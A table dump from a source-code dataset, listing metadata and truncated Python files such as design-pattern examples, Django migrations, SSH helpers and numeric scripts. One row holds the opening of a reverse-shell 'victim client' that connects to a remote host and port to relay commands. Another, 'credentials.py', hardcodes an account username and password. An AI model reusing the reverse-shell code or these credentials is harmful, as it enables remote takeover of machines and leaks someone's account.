blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
368ee4c27d66b11e3b186093eb0bda683464e2e0 | 23ed2df78ede14883d35b19844790a78db5405ca | /python/python-design-patterns/abstract_factory.py | 29067ce73dfb54a13e56147fe6f77d7f2f155684 | [] | no_license | sosflyyi/source | 703b7128a962f0a257beb59b421ddf0077b878c5 | e0734786e1af76785a379f7bb752efb5de194b35 | refs/heads/master | 2023-04-08T13:10:43.356801 | 2017-06-07T07:13:08 | 2017-06-07T07:13:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,879 | py | #!/usr/bin/env python
# coding=utf-8
# http://ginstrom.com/scribbles/2007/10/08/design-patterns-python-style/
"""
This pattern is a lot simpler to implement than the GoF example, because there's no need to inherit just to satisfy types. In the example below, the PetShop class has an abstract factory as a member (pet_... | [
"chenzhongtao@126.com"
] | chenzhongtao@126.com |
8eea73a4817b583b59e9ae72e614c0630731fafb | dcddc234eea906c63553f6495e182e44f3e8431d | /forum/migrations/0001_initial.py | 5ec4c7773023cc10c07b7d6d003e4cc6ea318831 | [
"MIT"
] | permissive | Kromey/akwriters | 53e648e1cc4c0970c843c9b426d0e7de21c9eabb | 72812b5f7dca3ad21e6e9d082298872b7fa607b9 | refs/heads/master | 2022-03-08T00:57:42.232126 | 2021-07-21T15:23:33 | 2021-07-21T15:23:33 | 28,463,802 | 0 | 0 | MIT | 2022-02-10T08:06:49 | 2014-12-24T22:41:56 | JavaScript | UTF-8 | Python | false | false | 2,238 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.2 on 2017-01-20 01:11
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migratio... | [
"travisvz@gmail.com"
] | travisvz@gmail.com |
233b661904e8d0b44aedd76dc4b3433a2a440670 | 35a1fc9f67def5866673369eb9d68f11e8f2a4c9 | /Reverse-Shell/cliente-victima.py | bf73693d9f0047b68b616c3a35d183aa7f0ad931 | [] | no_license | Suz4nGG/ShellCodes | fe62a5dbee865d931622f716a58b3ed057c82d33 | 93d8a3d129939053583071ac88012b90ef9ecdc4 | refs/heads/master | 2023-06-06T09:34:17.698061 | 2021-06-25T04:44:48 | 2021-06-25T04:44:48 | 380,128,092 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,975 | py | import socket
import sys
import subprocess
import threading
import os
# Variables Globales
host = 'terminal'
puerto = 8000
FIN_COMANDO = b'#00#'
def mandar_comando(comando, socket):
"""
Envía el comando a través del socket, haciendo conversiones necesarias
Espera la respuesta del servidor y la regresa
... | [
"scxg240@gmail.com"
] | scxg240@gmail.com |
a361d35907779685397f0f0a4a923cdf43e26751 | 00ea1f84e959a8707024c61ee0a5d7a7c07dda31 | /src/events.py | 0aeeb3b4b3af94e49ff83229df7338f4cd815de6 | [] | no_license | kameko/server.py | b02b8cbaeb4c6bdcf3322582cdc662684a21ab25 | 89af5e9bd423f9a341cd6d30257a695df1763b13 | refs/heads/master | 2022-08-02T18:28:46.336419 | 2020-05-21T20:30:46 | 2020-05-21T20:30:46 | 264,576,817 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,391 | py |
from typing import Callable
import discord
class Events:
def __init__(self):
self.system_shutdown_callbacks = []
self.discord_message_recieve_callbacks = []
self.discord_message_updated_callbacks = []
# system
def on_system_shutdown(self, callback: Callable[[object], None... | [
"kameko.k@outlook.com"
] | kameko.k@outlook.com |
0b66c94d17a782202d69711a2d1968aafc8ee22f | 8f5fd71ad7eebff6d6090f8d368b71efe6e1ceb6 | /auto_project.bak/automation/app_projects/tools/ssh_open.py | e84d2c88bb8ace86e67965bec9f1065189ea0672 | [] | no_license | LDoctor/flask_auto | ed9111f93f479d389591b8b0da1afb72a5032640 | cf7a6f78f5b380f7a4c441c50248f3e3bf9aebe3 | refs/heads/master | 2022-11-05T00:22:33.620902 | 2020-06-19T10:48:56 | 2020-06-19T10:48:56 | 273,470,045 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,168 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 19-5-17 下午5:44
# @Author : nan
# @File : ssh_open.py
import os
import commands
import paramiko
import pexpect
from flask import current_app
from app_projects.tools.file_path import PathDir
def get_cmd(cmd):
_, r = commands.getstatusoutput(cmd)
... | [
"liyuhang@udsafe.com.cn"
] | liyuhang@udsafe.com.cn |
6094f82aee034e2c17d3f9619c003e48d77b2144 | cc75b7b27bb2b8b99947be21347e0cf50309ef8c | /credentials.py | e963ca32fc001d2e133d542c5bf42df06fbab9c6 | [] | no_license | the-knightfury/SATP-Event-Classification-V1 | 8d6d779ab9e7577e6691dd9187cc55a7f84a3c63 | 43851d483842dde562614e30c9c48ae4d773138c | refs/heads/master | 2023-01-22T12:53:21.750832 | 2020-12-01T07:00:45 | 2020-12-01T07:00:45 | 298,616,769 | 1 | 2 | null | 2020-09-25T16:40:57 | 2020-09-25T15:51:53 | Python | UTF-8 | Python | false | false | 92 | py | """
This is the credentials of TAGTOG
"""
USERNAME = 'ssp180002'
PASSWORD = '1234567' | [
"shahreeen@gmail.com"
] | shahreeen@gmail.com |
fe671448d1ff1c4f419072f381f827f8f1e18a76 | 57f50165f8344ba218de0f03a4ed344b1ed33532 | /google_net/google_cell.py | 258473030b04042cbb4f95315478893c32ab7ccc | [] | no_license | Zames-Chang/machine-learning-paper-review | 8308c04b6fbec12494df79197166a2b05ad1fb39 | 5cfaf57bf298b6639afbf878eb7a3de5c1517a0b | refs/heads/master | 2020-04-25T03:32:14.692516 | 2020-03-14T14:20:23 | 2020-03-14T14:20:23 | 172,480,371 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,222 | py | import tensorflow as tf
class google_net_cell(object):
def __init__(self,image_width,image_height,channel):
self.a = 0
self.width = image_width
self.height = image_height
self.channel = channel
self.filter_number = [channel,channel,channel,channel]
def get_padding(self,t... | [
"z5254215560@gmail.com"
] | z5254215560@gmail.com |
b9bf63097708fa8eec2e1720fbe8ab1c635be2d0 | 3cf00c075549de7b945fbe8795faf20355292838 | /ex3.py | 0680fcaac983d1df0b7f191fc527a951e4710f96 | [] | no_license | alex-mclaughlin/hardway | b29664ee6a553d54be99f50b4e29fa4c614855bd | 9af78009e7f3a108d1aef264c372e40d4f185538 | refs/heads/master | 2021-05-12T16:40:07.898383 | 2018-06-22T05:07:03 | 2018-06-22T05:07:03 | 117,021,485 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 408 | py | print "I will now count my chickens:"
#Im printing the chicken comments
print "Hens", 25.0 + 30 / 6
#I'm doing some addition and division
print "Roosters", 100 - 25 * 3 % 4
#etc etc etc
print "Now I will count the eggs:"
print 3 + 2 + 1 -5 + 4 % 2 - 1 / 4 +6
print "Is it true that 3 + 2 < 5-7?"
print 3+ 2 < 5 - 7
print... | [
"amclaughlin@cmginc.com"
] | amclaughlin@cmginc.com |
ee2b1b7770b299963ac3f8b56329e70832f4db25 | 84364a1cc58712df61afd1c82ad45aefc761d25a | /portald/portald/wsgi.py | b020edf6050fdde9b786b982bcc7745c25b48ddd | [] | no_license | dbafurushima/portal-dashboard | 95c479206fee5512c0a661f5e11b9f956bd0346a | 43f2f76a7416bda864276b53d03be48293f1e707 | refs/heads/master | 2023-07-10T07:42:09.986599 | 2021-08-22T13:22:04 | 2021-08-22T13:22:04 | 288,833,570 | 0 | 1 | null | 2021-06-18T16:59:21 | 2020-08-19T20:43:53 | JavaScript | UTF-8 | Python | false | false | 391 | py | """
WSGI config for portald project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTI... | [
"paulojrbeserra@gmail.com"
] | paulojrbeserra@gmail.com |
b186151473ccd843ebb0867eb5d9584dbb5d852d | 6fcfb638fa725b6d21083ec54e3609fc1b287d9e | /python/yosinski_deep-visualization-toolbox/deep-visualization-toolbox-master/misc.py | ed1ee755e93c924c466045c1232ccace4c7d6ee6 | [] | no_license | LiuFang816/SALSTM_py_data | 6db258e51858aeff14af38898fef715b46980ac1 | d494b3041069d377d6a7a9c296a14334f2fa5acc | refs/heads/master | 2022-12-25T06:39:52.222097 | 2019-12-12T08:49:07 | 2019-12-12T08:49:07 | 227,546,525 | 10 | 7 | null | 2022-12-19T02:53:01 | 2019-12-12T07:29:39 | Python | UTF-8 | Python | false | false | 1,272 | py | #! /usr/bin/env python
import os
import time
import errno
class WithTimer:
def __init__(self, title = '', quiet = False):
self.title = title
self.quiet = quiet
def elapsed(self):
return time.time() - self.wall, time.clock() - self.proc
def enter(self):
'''Manual... | [
"659338505@qq.com"
] | 659338505@qq.com |
489ae2de0e81ea2265a337795af2556c86a36edb | f2f9a1ed111ba74e837751cb6b67e9c65cc91831 | /in_consistente.py | 0268e0e8973eb834942d141a135061a8d78fda9d | [] | no_license | matheuscoimbra/aritm-tica_calculo_python | cce94d4fbe9163f78f8b23715898fc52264f38d8 | 2c4b7a885f3fae4c195c9031222e298f13e518e3 | refs/heads/master | 2020-05-19T01:17:24.176893 | 2019-05-03T12:30:19 | 2019-05-03T12:30:19 | 184,751,696 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,430 | py | import numpy as np
import sys
import re
A = np.array([[6, 2, 0, 0, 0],
[-1, 7, 2, 0, 0],
[0, -2, 8, 2, 0],
[0, 0, 3, 7, -2],
[0, 0, 0, 0, 0]], dtype='double')
b = np.array([[2], [-3], [4], [-3], [0]], dtype='double')
# A = np.array([[1, 1, 1, 1, 1],... | [
"noreply@github.com"
] | noreply@github.com |
06ef710b8f2fdb097d080989059ff6ff1ac7c29a | 821784089626ce4319dd98d8e16ee84b20b7da8e | /klass/urls.py | 372f46d61199432cac3687e6dbc718a15a07a2bd | [] | no_license | sousa-andre/mode | 504da0d49fbf6b5e13bf25702751169a77824a12 | cf2bc412674cf0af66a51c9ee90dcae65e02fe74 | refs/heads/master | 2022-11-18T22:03:22.449730 | 2020-07-20T20:49:26 | 2020-07-20T20:49:26 | 281,217,406 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 984 | py | from django.urls import path
from .views import \
class_detail, ClassSubjectDetail, ClassSubjectFileCreate, \
ClassSubjectFileUpdate, ClassSubjectFileDelete, AppointmentCreate, AppointmentUpdate, AppointmentDelete
app_name = 'klass'
urlpatterns = [
path('', class_detail, name='class-detail'),
path('<i... | [
"andrematosdesousa@gmail.com"
] | andrematosdesousa@gmail.com |
ba211ff0592056913e625a227169202735893887 | ef5d0cc333958ba6f990d352f6a8fc4f7c19c854 | /Client/GoUI/GoTimer.py | 5a7a3e6586ea8b090774fdd59aca236a2a3f2187 | [] | no_license | PolyProgrammist/GoGame | cdbc50db0e1a910e7c6ba328b9cf5f22deba133d | 2d358b992bce6b015ad051ece948f33d8fd39304 | refs/heads/master | 2020-05-24T16:55:22.748626 | 2017-04-21T21:23:25 | 2017-04-21T21:23:25 | 84,861,279 | 0 | 0 | null | 2017-04-13T00:53:35 | 2017-03-13T18:32:27 | Python | UTF-8 | Python | false | false | 1,154 | py | from PyQt5.QtCore import QTimer
from PyQt5.QtWidgets import QFrame
from PyQt5.QtWidgets import QLCDNumber
class Timer:
initsec = 30
gosec = 10
def __init__(self, maingo, layout, turn):
self.lcd = QLCDNumber()
self.sec = self.initsec
self.turn = turn
self.updui()
self... | [
"pechkin350@gmail.com"
] | pechkin350@gmail.com |
54f187e9c5b501a8ed168a86047576f181f1f10c | dca0b858b7c8a9b153148ac0d403c47590889a97 | /main.py | 83d5a19f228d954474702c1f1dcdb1838e189fae | [] | no_license | m-walters/traffic-stgcnn | 6cb9f0c9f90e2c5793b8374b289d007946f11083 | db85e319db6902b7131c407bd27a44d98f1313e7 | refs/heads/master | 2020-08-28T04:35:05.057506 | 2019-11-14T17:16:57 | 2019-11-14T17:16:57 | 217,592,256 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,824 | py | import numpy as np
import os
import pandas as pd
import logman
import fluxGrid
long2km = 1/0.011741652782473
lat2km = 1/0.008994627867046
if __name__ == "__main__":
# Logger -- see the logman README for usage
logfile = "run.log"
sformat = '%(name)s : %(message)s'
logger = logman.logman(__name__, "deb... | [
"michaelwalters3000@gmail.com"
] | michaelwalters3000@gmail.com |
0f6cb983c70f431d11b0779f341c352f377f63d2 | 5d4f3105136808a2632058848861226acf7abda5 | /website/matrixfactorization.py | 5792302c9feaa7a282dfc238b1cf664d6f39056a | [] | no_license | SunTzuLombardi/movie-recommender | 49961e70401052a21dad7e6690bce8ee2ed063d3 | a1489dbdb30f1e13d990af33ee10991b500fa8fe | refs/heads/master | 2022-01-09T02:55:47.040287 | 2019-02-15T11:01:24 | 2019-02-15T11:01:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,861 | py | import numpy as np
def predict(global_bias, user_bias, item_bias, user_embedding, item_embedding, u, i):
prediction = global_bias + user_bias[u] + item_bias[i] + np.dot(user_embedding[u],item_embedding[i])
return prediction
def train(ratings, k=40, learning_rate=0.0001, regularization=0, epochs=1):
n_user... | [
"hladia199811@gmail.com"
] | hladia199811@gmail.com |
9cc87eddda144ed0c0936f3f7214858251fc8942 | 87c474b7fe909a11ee947bea8d3ae24e716fc53c | /pbo.py | d56c482c129018671e1a4542ed88383c0270eee1 | [] | no_license | fahrizzain91/pemrogramanbasisata | dc30857ddeae6e2f830168c413fe31762fe1aa6e | 25eaa81dd0ff16655c53a6692c9e8e6e9744bfae | refs/heads/master | 2020-05-04T18:27:40.386320 | 2019-04-03T19:50:40 | 2019-04-03T19:50:40 | 179,354,119 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,105 | py | #!/usr/bin/env python
# coding: utf-8
# In[10]:
class Kubus:
def __init__(self,s):
self.sisi = s
def tampilkansisi(self):
print(self.sisi)
def luas(self):
print("Luas : ",self.sisi**2)
def luaspermukaan(self):
print("Luas permukaan :",self.sisi**2*6)
def volume(sel... | [
"zeinbaim4@gmail.com"
] | zeinbaim4@gmail.com |
ed84bab6c4de84ceb611a8624e6fe58f20161012 | 10581444baa6970a92a587d5cb28052387c7ae3f | /generators_size.py | b2a7e0317c339f6bb18d2d34add6dd99786b522b | [] | no_license | KKGITHUBNET/Python | adac034c2dbeca290cad3e00aeb00f22286f9e41 | be26917e4dcd822d703d2d75240712d403bec281 | refs/heads/master | 2022-11-13T14:23:57.415628 | 2020-07-04T20:35:43 | 2020-07-04T20:35:43 | 278,402,376 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 453 | py | import sys
def my_range(n: int):
start=0
while start<n:
yield start
start += 1
big_range = my_range(5)
# big_range = range(5)
print("Big Range is {} bytes".format(sys.getsizeof(big_range)))
# creating a list containing all the values in big_range
big_list=[]
for val in big... | [
"noreply@github.com"
] | noreply@github.com |
89db78394769d2f53cdc241dbc7981412dde67f7 | 2d14aa082e33f3c9d2344ea6811a5b18ec906607 | /skdecide/discrete_optimization/rcpsp/solver/cp_solvers.py | 0e6d401ed2b4eb7947aac1cc87f569ee91c950c7 | [
"MIT"
] | permissive | walter-bd/scikit-decide | 4c0b54b7b2abdf396121cd256d1f931f0539d1bf | d4c5ae70cbe8b4c943eafa8439348291ed07dec1 | refs/heads/master | 2023-07-30T14:14:28.886267 | 2021-08-30T14:16:30 | 2021-09-03T06:46:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 36,649 | py | # Copyright (c) AIRBUS and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from __future__ import annotations
from dataclasses import InitVar
from typing import Union, List
from skdecide.discrete_optimization.generic_tools.cp_... | [
"guillaume.alleon@gmail.com"
] | guillaume.alleon@gmail.com |
67122d17e933488f9e88e64701632d1088a4001e | 31c9cd96667166ac4af15ce8b48753167da3084d | /sorting/bubble_sort.py | 1c21807ac98a7e18e5e4c1b990067d0c11664874 | [] | no_license | vitorponce/algorithms | a8e305e32e38bbb2f473dc07c0e93bdf6a10fde0 | 87d5f3e3110394d21844b7f3a17468e01a366e83 | refs/heads/master | 2022-06-17T04:04:18.757909 | 2020-05-04T03:03:09 | 2020-05-04T03:03:09 | 259,844,564 | 1 | 0 | null | 2020-05-04T03:04:54 | 2020-04-29T06:34:52 | Python | UTF-8 | Python | false | false | 1,717 | py |
def bubble_sort(input_list):
"""
The smallest element bubbles to the correct position
by comparing adjacent elements.
For each iteration, every element is compared with its neighbor
and swapped if they arent in the right order.
Smallest elements 'bubble' to the beginning of the list.
At ... | [
"johneshiver@gmail.com"
] | johneshiver@gmail.com |
f2adc406f14969652f3164a491950f2f9bffb8cb | be30bbbf845fb27b6073aa64f9700fb1b6866b04 | /planificaciones/tests/test_forms.py | 055f9a6377adbe3b4694f3f1eca0bc9d62e5ac1f | [] | no_license | cesardlinx/asistentecatedra | ef34aae2f981e864b3e858c05efe9524c6e5a8c3 | 8ff935383fa9355d4f47c358a9971cff8ab8a92c | refs/heads/master | 2020-04-17T10:03:28.583461 | 2020-01-07T18:03:05 | 2020-01-07T18:03:05 | 166,485,635 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,103 | py | import pytest
from planificaciones.forms.elemento_curricular_formset import \
ElementoCurricularFormset
from planificaciones.forms.desarrollo_unidad_formset import \
DesarrolloUnidadFormset
from planificaciones.forms.actividad_aprendizaje_formset import \
ActividadAprendizajeFormset
from planificaciones.for... | [
"davidpadilla.f22@gmail.com"
] | davidpadilla.f22@gmail.com |
720a56c10cccc12611a5449ed08c5b5bd97011cb | 62265be73a441f2bb4e3319cd67b80df46482ddd | /backend/env/bin/django-admin.py | 40a1625db5e01e5461685f0152c0602bee0cc54f | [] | no_license | HuuThang-1402/Web_Demo | c16c687eb7e5e3e634e8cd00916abd9a0eef57e3 | 1f8c8b9db074ced89c81de854adff43868591c71 | refs/heads/main | 2023-07-25T18:15:31.531037 | 2021-09-01T15:11:43 | 2021-09-01T15:11:43 | 402,098,944 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 698 | py | #!/home/estella/Code/Web/ReactJS/djreact/backend/env/bin/python
# When the django-admin.py deprecation ends, remove this script.
import warnings
from django.core import management
try:
from django.utils.deprecation import RemovedInDjango40Warning
except ImportError:
raise ImportError(
'django-admin.py... | [
"thang.nguyen2018@hcmut.edu.vn"
] | thang.nguyen2018@hcmut.edu.vn |
0db65fdb7ef44d4f2743946601e0a9f2ce3b83c1 | 06b72967c7a0e0df5cf4cab9fc9c96055410136f | /Web Eng/venv/bin/rst2man.py | 34044a34734a8d45c588e8008da252feef6af27f | [] | no_license | YonaMoreda/WEB_ENG_2019 | c0be2661c833563b09121ae447d6c60c00787f89 | 2116b29a0ad80ff8a132655bd66bf1320fb798f3 | refs/heads/master | 2022-03-05T04:00:09.698800 | 2019-11-06T12:17:37 | 2019-11-06T12:17:37 | 212,578,721 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 632 | py | #!/Users/wine_king/Desktop/Web Eng/venv/bin/python
# Author:
# Contact: grubert@users.sf.net
# Copyright: This module has been placed in the public domain.
"""
man.py
======
This module provides a simple command line interface that uses the
man page writer to output from ReStructuredText source.
"""
import locale
... | [
"r.c.patrona@student.rug.nl"
] | r.c.patrona@student.rug.nl |
18c3149c607ffbaa74d665b406d17f4317de36b1 | bff37feea8ee123c6ec4a147e3591d89dc1a2421 | /backend/manage.py | 44693110ac920023873ab512def90d73d690fabf | [] | no_license | msherrington/basketApp | c00b3ccb6a37fae6186771cc061e7cd5b9b61cd1 | eccc8011c14134a4613ecee0a32d4d3c4905ea05 | refs/heads/master | 2022-04-01T11:49:06.407156 | 2020-02-18T22:34:36 | 2020-02-18T22:34:36 | 240,595,732 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 538 | py | #!/usr/bin/env python
import os
import sys
if __name__ == '__main__':
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'basket.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are y... | [
"git@marksherrington.uk"
] | git@marksherrington.uk |
c17cfddbe71929b5dd9f44731af66f2d81cb0f1d | a0342ba96c88cafae5855ffa9a493df979d03caf | /index/urls.py | bed7af56439270865c619834af546f825e26982e | [] | no_license | themusecatcher/lab-manage-system | 37ddf3f4ec5e9683dcf01c951b07851143f867d2 | c979f2d75a3920cbad822804e9732dcb0a6b1f42 | refs/heads/master | 2023-06-08T12:41:43.186488 | 2021-06-16T09:11:54 | 2021-06-16T09:11:54 | 377,435,986 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 478 | py | # MyDjango URL Configuration
from django.urls import path
from .views import *
urlpatterns = [
#首页路由,id为用户主键id
path('index/<int:id>/<int:page>', indexView, name='index'),
#用户id和每条通知记录的主键id(noticeId),type用来判断用户是否是在当前页面进行刷新
path('notice/<int:id>/<int:noticeId>/<int:type>',noticeView,name='notice'),
... | [
"d_muses@163.com"
] | d_muses@163.com |
71581e2aa28a19aa508f908fff09ae9da3e41017 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_connoisseur.py | f2ebfdee7349c5f0eb2d9d637ed4b4d9b3670125 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 419 | py |
#calss header
class _CONNOISSEUR():
def __init__(self,):
self.name = "CONNOISSEUR"
self.definitions = [u'a person who knows a lot about and enjoys one of the arts, or food, drink, etc. and can judge quality and skill in that subject: ']
self.parents = []
self.childen = []
self.properties = []
self.json... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
8fbe1926271a509d55450e06a266c466ed4ae9c9 | d10dddad690b42e1c62207d6eaaa31c5c858c434 | /prePro_pipeline_3D/norm.py | 16d41f3270204d8389dd3e7eab54b89826b4c667 | [
"Apache-2.0"
] | permissive | wahlby-lab/graph-iss | 874d5985d7eab96220f701b2087bb0e9ee0783ca | ef794ee615da91c17c55b2e2d6101cec3873df29 | refs/heads/master | 2021-08-17T04:41:24.870882 | 2020-07-02T11:19:20 | 2020-07-02T11:19:20 | 199,853,991 | 10 | 3 | null | null | null | null | UTF-8 | Python | false | false | 2,737 | py | """ Compute normalization intervals for each channel and round.
Parameters
----------
sys.argv[1] : input csv file contaning an array of input images
sys.argv[2] : upper percentile value of 98th percentile distri-
bution of image patches for signal level estimation.
sys.argv[3] : number... | [
"gabriele.partel@it.uu.se"
] | gabriele.partel@it.uu.se |
80e15aa2909bac3ed5c0402bcf8ea3b7316693af | d7b3257892d3d0cdad76f8b6990f84ab09ff743a | /testing.py | b2348a25826ffb723a4afcb3827ff6e752c5a5e3 | [] | no_license | ninmonkey/roguelike-skeleton | f8398135921a19ca1c1bb855d527c62cfd8ae44e | 552f2e5927b205034821b5ba2c75c764cf1348e4 | refs/heads/master | 2022-07-19T00:09:00.892215 | 2018-09-06T17:00:30 | 2018-09-06T17:00:30 | 144,588,502 | 0 | 0 | null | 2022-06-21T21:24:02 | 2018-08-13T14:07:54 | Python | UTF-8 | Python | false | false | 51 | py | # load map from json dump
# pathfind
# test result
| [
"ninmonkeys@gmail.com"
] | ninmonkeys@gmail.com |
e9031bde2c5620bbc80017e57ea1f7ecde3b471c | 8c1c8eb854287575e7cfadf8c67f14365f9d8835 | /rabbit_tools/delete.py | a0d95d44189098e9446012ca5037ab88bb573a04 | [
"MIT"
] | permissive | andrzejandrzej/rabbit-tools | 1ae5c0eb0f4ea37ec34176a4181fb792a005eea2 | f7785144b8bcd23c824cb70790d6f0cdb80143f8 | refs/heads/master | 2021-06-13T16:37:52.253934 | 2020-05-20T12:23:02 | 2020-05-20T12:23:02 | 99,705,794 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,030 | py | # -*- coding: utf-8 -*-
import logging
from rabbit_tools.base import RabbitToolBase
from rabbit_tools.lib import log_exceptions
logger = logging.getLogger(__name__)
class DelQueueTool(RabbitToolBase):
description = ('Delete an AMQP queue. Do not pass a queue\'s name as an argument, '
'if y... | [
"andrzej.debicki@nask.pl"
] | andrzej.debicki@nask.pl |
5ea9fd73389fcab34e9655f5099a8674175c8caa | 4a08eebc535859cf9650f6c5b57007a777bf0ee9 | /post_processing/rawdata_dump_and_formating.py | 3e160d83b64499190dc7f33d04883fd4aac60eac | [] | no_license | Hanq416/Temperature-image_dataloggingsystem | 752d0de6e7a6bc9f6522f8a4a6ec517aa1bc2c96 | 7b670508a550d61f522c9bf8c3f249be98f3dd78 | refs/heads/main | 2023-01-22T09:58:36.129038 | 2020-11-10T17:53:50 | 2020-11-10T17:53:50 | 311,740,193 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,216 | py | import os, sys
from time import time
class Reformat(object):
def __init__(self, path_out):
self.po = path_out
def data_sorting(self):
f_name = 'therm_records'
f = open (f_name,'r')
lines = f.readlines()
f.close()
d = self.date_read(lines[0])
s =... | [
"noreply@github.com"
] | noreply@github.com |
561c9a9ee112d5f6150be9f3711ed50e07da41ca | bfb33e7801e6d2789219a018189e53d96fd2b4a7 | /PF/testing_code.py | 1b160914c9b6b716a6e677a76b41eebadb8f2579 | [] | no_license | MiguelBenavides/Lab_Robotics | 4c8cb48db78915130f4296ea05b3d957573a78f3 | 3662e198091fa1ba47b5ebe9bb14dfcd44c4f497 | refs/heads/master | 2021-03-27T17:15:19.192470 | 2018-05-16T15:08:33 | 2018-05-16T15:08:33 | 123,169,493 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,265 | py | """
testing_code.py
This code segments blue color objects. Then makes an
AND-bitwise operation between the mask and input images.
With the resulting blue mask image then creates a roi,
inside this region numbers can be detected.
author: Miguel Benavides, Laura Morales
date created: 9 May 2018
universidad ... | [
"miguel_benavides95@hotmail.com"
] | miguel_benavides95@hotmail.com |
8fbbd1ed9759f1827fb7a1b942336e2661fddf29 | f9927d34e8eae617892ed553c66d6ed94844c4c5 | /myblog/blog/models.py | 7cf500da289b43672326384b2df6acbac9f419ab | [] | no_license | renxuwei/blog | 2524312122eee1b0024d2ea34bf1850d3ebb00ac | f5bb6074434540df39f24e650c9238035d14b799 | refs/heads/master | 2020-04-17T16:38:20.896305 | 2019-01-21T04:52:17 | 2019-01-21T04:52:17 | 166,749,058 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,987 | py | from django.db import models
# Create your models here.
class User(models.Model):
username = models.CharField(max_length=10, unique=True)
password = models.CharField(max_length=200)
crate_time = models.DateTimeField(auto_now_add=True)
class Meta:
db_table = 'user'
class Lanmus(models.Mode... | [
"937265565@qq.com"
] | 937265565@qq.com |
04a03c34ab0d348794edc2375303f110407cde99 | 3882ac93d41f66a40cd19f52559555bc01877b63 | /GetUserIds.py | 0b1b7c82546b696b5cb1ddb9d8dc72b65f2c6834 | [
"Unlicense"
] | permissive | usama124/TwitterDM | 1153ce64a51de3eece6b95490ffd738275ee9402 | f1726f225ff43805b38f49a7dc2a430ada180a4b | refs/heads/main | 2023-06-24T12:29:29.269716 | 2021-07-27T17:33:08 | 2021-07-27T17:33:08 | 389,982,712 | 0 | 0 | Unlicense | 2021-07-27T17:33:08 | 2021-07-27T12:54:07 | Python | UTF-8 | Python | false | false | 1,748 | py | import twitter, time
import configparser
parser = configparser.ConfigParser()
parser.read("Conf/config.ini")
def confParser(section):
if not parser.has_section(section):
print("No section info rmation are available in config file for", section)
return
# Build dict
tmp_dict = {}
for o... | [
"utahir.itp@sparkcognition.com"
] | utahir.itp@sparkcognition.com |
500134f85ac7800ab444b6bc9db818f0dfcf9b70 | 0c95e9708a7811ef9a4f594154ffc53bbe1aa8ae | /Day1/__init__.py | 375ac6d65041cce7744015aaae12efe14850ac65 | [] | no_license | pearlzhou/smileGo | 4b0c5ba4f8581b13a0810e0198b000b583393867 | afec37ca9c5d52f40a195b2689aba99fcd9e9737 | refs/heads/master | 2020-04-27T16:49:48.094536 | 2019-03-08T08:05:35 | 2019-03-08T08:05:35 | 174,494,753 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 59 | py | #!/usr/bin/env python
#-*-coding:utf-8-*-
#author:zhouzz
| [
"1016102237@qq.com"
] | 1016102237@qq.com |
